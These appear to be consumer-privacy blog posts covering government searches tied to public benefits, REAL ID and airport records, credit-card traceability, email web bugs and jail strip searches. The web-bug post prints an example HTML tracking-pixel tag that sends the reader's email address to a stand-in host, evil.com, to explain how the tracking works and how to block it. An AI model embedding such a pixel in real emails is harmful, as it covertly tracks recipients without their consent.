Privacy and Privileges: The back door to compelling information disclosure

The 4th, and 14th, amendments ensure that the federal and state governments cannot search though our person affects without our permission. Additionally the 1st amendment protects our freedom of speech as well as our freedom of association (considered part of protected speech). Now there are exceptions to this. The most obvious one is the USA PATRIOT Act that I’ve written about before. This act gives the government the ability to do “sneak and peek” searches of your computer and home without your consent or a warrant. That act aside, in general we either need to consent to a search, or the government needs enough information to issue a warrant to allow a search.

The reason all this matters is that most people rely on the government at some point in their lives (many of us on a daily basis). If you don’t think you do, think about a couple examples: first, the case where the government gives you financial assistance. From tax breaks for children, to student loans, Pell grants, to the Montgomery G.I. Bill funds, from welfare to Medicare or social security, it is highly likely that you have, are or will receive some help from the government. In such cases, the government has used this “non-required” assistance to justify searches that would be unconstitutional in any other aspect. The contemporary example is the legal fight going on right now in San Diego over those who receive public assistance. Part of this legislation gives agents of the state the ability to search people homes to ensure that they are complying. Perhaps you feel that this is a fair trade-off to ensure public aid isn’t abused and that it provides an incentive for people to do what they can to get off of public assistance.

The people who make this argument tend to be those who have done well in life and are not subject to such searches (it’s always easier to legislate what someone else should do). Fear not though, this is where the “privileges” part of this comes in. Though legislation like the REAL ID act (currently being fought in a number of states) data is being aggregated and centralized. So if you drive a car, then that information is collected (and if all states comply, then that will be national, this is why many states are fighting the act and why most private investigators use Drivers Licenses as their preferred way to track people). Even if you forgo the car, but you travel by air, then you are still under surveillance (and remember this is surveillance without any reasonable cause to survey you). As has come out recently, airport screeners were cataloging the information of travelers heading overseas. Information like who they were seeing/staying with, what was in their luggage and even what books they were reading was cataloged and stored. The government is “loosely” kept from sharing this information by the Privacy Act of 1974.
Unfortunately, the Supreme Court ruled in Doe v. Chao that the act mandated damages of at least $1000 is only due if the injured party (the one who had their private information given out by the government) can show actual damages from the leak (of course, finding out that someone shared info that got you on a no fly list, blocked from getting a govt. grant or surveyed by the FBI to your economic determent might be pretty tough).

What is clear in these cases is that our view of individual rights is not evolving with our society. We are continuing to interpret our rights in the same manner that was done tens, if not hundreds of years ago. In a world where “privileges” (like driving, flying and receiving assistance) are an integral part of almost every US citizen (and business’) life, we may want to start thinking about the ways we feel privileges are separated from rights. We all appreciate the freedoms we have here in the US. Many of us believe that our privileges are really just extensions of our right, but at present this is not the case at all. Since many of these “privileges are requirements for us in modern life, what we may be looking at is a loophole that’s being actively exploited to circumvent the 4th, and 14th, amendments.

Is this the right balance to strike? That is a decision for the American people, but I don’t think it bodes well when such actions are taken outside of the public light (the traveler information only came to light as part of a Freedom Of Information (FOIA) suit. I think changing circumstances require US citizens to consider the tradeoffs they make, but when these are forced though programs that are voluntary in name only, or are done out of the public sight, the specter of a meddling government, instead of one, by, of and for the people starts to show up.

Credit Cards: The Pocket Snitch

I once heard that in France they have a saying that if you want to find the scandal with a politician, you should, “Follow the women” , in the States we’d more likely say, “Follow the money”. Setting aside the indications about what is important to each culture’s men, this creates a telling situation about how people go about investigating each other.

When I was younger I took quite readily to credit cards. I enjoyed the ability to spend when I wanted to (a habit it appears our culture has embraced somewhat zealously) while being free from the potential of a lost wallet (to forgetfulness or robbery). What I never considered was what I was giving up for this convenience. For me, my fiscal responsibility kept the dangers of credit card debt from ever becoming the problem it is for most folks in the United States today, but the tracking capabilities are quite real.

For the moment I’m going to set aside the financial implications of someone adding a 2-5% fee on every transaction and how that can raise prices for consumers; I’m going to focus mostly on the privacy implications. Just think about your credit card bill; every month you get a nice list of where you were with locations, dates times and even how much you spent. Looking at these records over time and you get a view of what a person’s life is like. Indeed, advice given to those concerned about stalking advises them not to use credit cards because of their traceability. In many cases, most of us aren’t being stalked by anyone more sinister than marketers and some might reasonably ask, “I’m not worried about staking, why should I care?” The answer is that this valuable form of data aggregation is not only used by marketers and stalkers, but also by law enforcement and governments to spy on their populations. Section 215 of the USA PATRIOT Act, give the US government the ability to look at 3rd party holders of a person’s information (like an email provider or a financial institution). Of course the US government has been monitoring financial transactions of a certain size ($10,000 or greater) for a while though FinCEN. What the USA PATRIOT Act did was increase the ability for the government to get access to these records (and without your knowledge).

From a privacy perspective, it is the potential of abuse of this data that is most concerning. Where you eat and shop, what organizations you donate to and you personal habits are all contained in the records created by these little cards. Cash, on the other hand, “tells no tales and leave no trails”; or so you might think. At least here in the states this is true, though other parts of the world are experimenting with traceable money under the auspices of currency protection.

The bottom line is that money the base unit of transactions in our world. Because of this, the ability to see how a person spends their money tells you a lot about who they are, we need to be careful about who we give this information to. Some people, like Jerry Springer, find out the hard way that financial records can tell tales they would rather not have told (Jerry was caught using a personal check at a house of ill repute while he was a Cincinnati city council member). Both the appearance of data, and it’s absence are things some might be concerned about (if you eat lunch every Saturday at the local pizzeria and one Saturday you don’t eat there, someone might wonder what caused the change in circumstances (especially if an investigations is ongoing about an occurrence on that date)). So the next time you reach for the plastic, just remember that you’re checking your privacy at the counter.

Web Bugs: Is your email infested?

In as earlier post I mentioned Web Bugs. Web Bugs are a piece of code that is virtually invisible to users of the web, but they allow the users of them to track you. How this works is they add an image to an email (most of us are using HTML email these days) and they add this image in a way that you don’t see it. How do they do that? By making it a 1 pixel (the smallest dot on your computer screen) and then making that pixel transparent (so even if you knew which pixel you couldn’t see it). The trick is that the image isn’t an image at all, but a special webpage that is designed to return a clear 1 pixel image while recording and interpreting the query string data in the request. So a regular image might look like this in your web coded email <img height="110" src="http://www.images.com/puppies.jpg" width="120" />; but the web bugged one might look like this: <img src="http://www.evil.com/tracker.cgi?email=you@email.com" width="1" /> The part where it has your email address (you@email.com in this case) is passed to evil.com’s server where they can record your computers address (IP address) the time you accessed the email and then record every time you open that mail. If they wanted to, they could even put a cookie on your machine to track you if you went to another site where evil.com had code running (or images showing like an ad server).

Why do spammers, snoops and stalkers use this kind of tool? Because it works and because they can be sure you got the message. In newer versions on email programs (like Outlook, Eudora, Thunderbird, etc.) users can set up their mail so that images do not show automatically. You may have already seen a page that looks like this:

The reason you have to click on a link to show the images is that it gives you a chance to see if this email is one you want to view before letting a potential spammer know that they now have your email address. Since many web Mail companies (gmail, live, yahoo, etc.) automatically show you HTML emails, the Web Bugs work by default on those sites (which are used by a majority of web users).

Before, I mentioned stalkers. That was not an idle statement. Several web companies now sell you the ability to attach web bugs so that you can tell if someone has received your email. Since the technology is pretty simple, most companies that do email marketing on the web, have built their own Web Bug engines to help them track users. In many cases web filters and anti-spam filters block the sites the bugs attach to but this is only effective as a reactive means of protection. If you are truly concerned about Web Bugs tracking you online, switching your email client to “text only” from HTML email” will ensure that these Web Bugs can’t track you.

The Naked Truth: Are Strip Searches An Invasion Of Privacy?

When I read that in 1978 Chicago was strip searching everywoman who came into their women’s jail I was surprised (to put it mildly). I though, “Are you serious?” This became all the more shocking when it became clear that the woman was at the jail because of unpaid parking tickets. I though that our society was far past the point where that would be considered reasonable. Alas, sometimes we are too hasty with our desire for what we consider “obvious” changes. What made it all the more shocking was when I learned that Washington State, just last year, had its appeals court strike down blanket strip searches. Perhaps this seems obvious to most folks that unless you pose a serious risk or they police have a warrant, they shouldn’t be able to make you go though such an obviously invasive search. This is important not only because of its obvious implications on everyday citizens, but also because this is the core of a privacy discussion (being secure in your “persons, houses papers and effects”). If such things as strip searches are “up for debate” then we can’t possibly have a serious debate about electronic observation and privacy invasion.

It might be valuable to hypothesize about how we got to such a point. As a matter of efficiency, and perhaps as a matter of avoiding bias, the Chicago PD had a policy of strips searching any female prisoner who came into the facility (they had one for all of Chicago at the time). Is it possible that there was so much contraband that everyone was suspect? Was it possible that to search only certain individuals would open the Chicago police up to claims of bias? On the first there is little evidence to support this; on the second (given the Chicago PDs history) it is entirely possible.

So it would seem that the obvious answer to our question as to strip searches being a violation of privacy is self-evident. What is more shocking is how distant what we might think as an average citizen is different from what may be the reality (depending on the jurisdiction you are in). In all, it really comes down to one of those fundamental questions we will ask ourselves (as a society), “How much liberty are we willing to give up pursuit of security?” I won’t make the claim, as Benjamin Franklin did, that “Those who would give up essential liberty to purchase a little temporary safety, deserve neither liberty nor safety.” But I will note that the solution to our criminal problems is probably not in strip searching parking ticket violators. That, I would hope, would be clear to anyone.